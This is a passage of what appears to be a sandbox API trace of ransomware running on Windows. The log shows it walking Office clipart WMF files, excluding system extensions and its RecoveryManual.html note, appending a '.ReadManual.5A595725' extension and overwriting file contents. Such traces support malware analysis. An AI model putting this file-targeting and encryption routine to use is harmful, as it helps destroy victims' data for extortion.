(psz1="WMF", psz2="fon") returned 1 [0270.912] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.912] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF" [0270.912] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF.ReadManual.5A595725" [0270.912] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF.ReadManual.5A595725") returned 87 [0270.912] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39158084261) returned 1 [0270.912] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf")) returned 0x20 [0270.912] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.913] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7832) returned 1 [0270.913] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e98, lpName=0x0) returned 0x184 [0270.913] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.913] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.913] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.919] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.919] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e98) returned 0x2f0000 [0270.919] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.919] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39158824559) returned 1 [0270.920] CloseHandle (hObject=0x184) returned 1 [0270.920] SetSecurityInfo () returned 0x57 [0270.920] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.920] CloseHandle (hObject=0x194) returned 1 [0270.920] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd24, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02400_.WMF", cAlternateFileName="")) returned 1 [0270.920] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02400_.WMF" | out: lpString1="NA02400_.WMF") returned="NA02400_.WMF" [0270.920] lstrcmpiW (lpString1="NA02400_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.920] StrStrIW (lpFirst="NA02400_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.920] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.920] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.920] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.920] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.920] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.920] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.920] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.920] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.920] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.920] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.920] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.920] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.920] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.920] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.920] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF" [0270.920] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF.ReadManual.5A595725" [0270.920] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF.ReadManual.5A595725") returned 87 [0270.920] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39159094138) returned 1 [0270.922] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf")) returned 0x20 [0270.923] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.924] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3364) returned 1 [0270.924] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd24, lpName=0x0) returned 0x184 [0270.924] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.924] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.924] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.926] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.926] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd24) returned 0x2f0000 [0270.926] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.926] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39159510480) returned 1 [0270.926] CloseHandle (hObject=0x184) returned 1 [0270.926] SetSecurityInfo () returned 0x57 [0270.927] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.927] CloseHandle (hObject=0x194) returned 1 [0270.927] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2120, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02404_.WMF", cAlternateFileName="")) returned 1 [0270.927] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02404_.WMF" | out: lpString1="NA02404_.WMF") returned="NA02404_.WMF" [0270.927] lstrcmpiW (lpString1="NA02404_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.927] StrStrIW (lpFirst="NA02404_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.927] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.927] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.927] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.927] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.927] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.927] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.927] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.927] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.927] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.927] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.927] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.927] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.927] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.927] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.927] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF" [0270.927] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF.ReadManual.5A595725" [0270.927] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF.ReadManual.5A595725") returned 87 [0270.927] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39159608489) returned 1 [0270.927] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf")) returned 0x20 [0270.928] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02404_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02404_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.928] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8480) returned 1 [0270.928] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2120, lpName=0x0) returned 0x184 [0270.929] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.929] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.929] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.931] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.931] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2120) returned 0x2f0000 [0270.931] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.932] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39160036107) returned 1 [0270.932] CloseHandle (hObject=0x184) returned 1 [0270.932] SetSecurityInfo () returned 0x57 [0270.932] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.932] CloseHandle (hObject=0x194) returned 1 [0270.932] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02405_.WMF", cAlternateFileName="")) returned 1 [0270.932] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02405_.WMF" | out: lpString1="NA02405_.WMF") returned="NA02405_.WMF" [0270.932] lstrcmpiW (lpString1="NA02405_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.932] StrStrIW (lpFirst="NA02405_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.932] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.932] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.932] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.932] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.932] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.932] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.932] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.932] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.932] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.932] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.932] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.932] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.932] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.932] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.932] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF" [0270.932] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF.ReadManual.5A595725" [0270.933] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF.ReadManual.5A595725") returned 87 [0270.933] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39160135166) returned 1 [0270.933] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf")) returned 0x20 [0270.933] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02405_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.933] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=20608) returned 1 [0270.933] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5080, lpName=0x0) returned 0x184 [0270.933] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.934] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.934] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.936] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.936] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5080) returned 0x2f0000 [0270.936] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.936] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39160488929) returned 1 [0270.936] CloseHandle (hObject=0x184) returned 1 [0270.936] SetSecurityInfo () returned 0x57 [0270.936] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.936] CloseHandle (hObject=0x194) returned 1 [0270.936] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fc8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02407_.WMF", cAlternateFileName="")) returned 1 [0270.936] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02407_.WMF" | out: lpString1="NA02407_.WMF") returned="NA02407_.WMF" [0270.937] lstrcmpiW (lpString1="NA02407_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.937] StrStrIW (lpFirst="NA02407_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.937] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.937] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.937] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.937] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.937] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.937] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.937] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.937] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.937] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.937] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.937] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.937] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.937] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.937] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.937] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF" [0270.937] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF.ReadManual.5A595725" [0270.937] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF.ReadManual.5A595725") returned 87 [0270.937] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39160591138) returned 1 [0270.937] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf")) returned 0x20 [0270.937] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02407_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.938] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8136) returned 1 [0270.938] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fc8, lpName=0x0) returned 0x184 [0270.938] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.938] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.939] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.940] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.941] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1fc8) returned 0x2f0000 [0270.941] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.941] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39160960008) returned 1 [0270.941] CloseHandle (hObject=0x184) returned 1 [0270.941] SetSecurityInfo () returned 0x57 [0270.941] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.941] CloseHandle (hObject=0x194) returned 1 [0270.941] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x28ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA02413_.WMF", cAlternateFileName="")) returned 1 [0270.941] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA02413_.WMF" | out: lpString1="NA02413_.WMF") returned="NA02413_.WMF" [0270.941] lstrcmpiW (lpString1="NA02413_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.941] StrStrIW (lpFirst="NA02413_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.941] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.941] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.941] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.941] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.941] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.941] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.941] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.941] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.942] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.942] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.942] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.942] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.942] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.942] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.942] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF" [0270.942] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF.ReadManual.5A595725" [0270.942] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF.ReadManual.5A595725") returned 87 [0270.942] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39161058866) returned 1 [0270.942] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf")) returned 0x20 [0270.942] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02413_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, 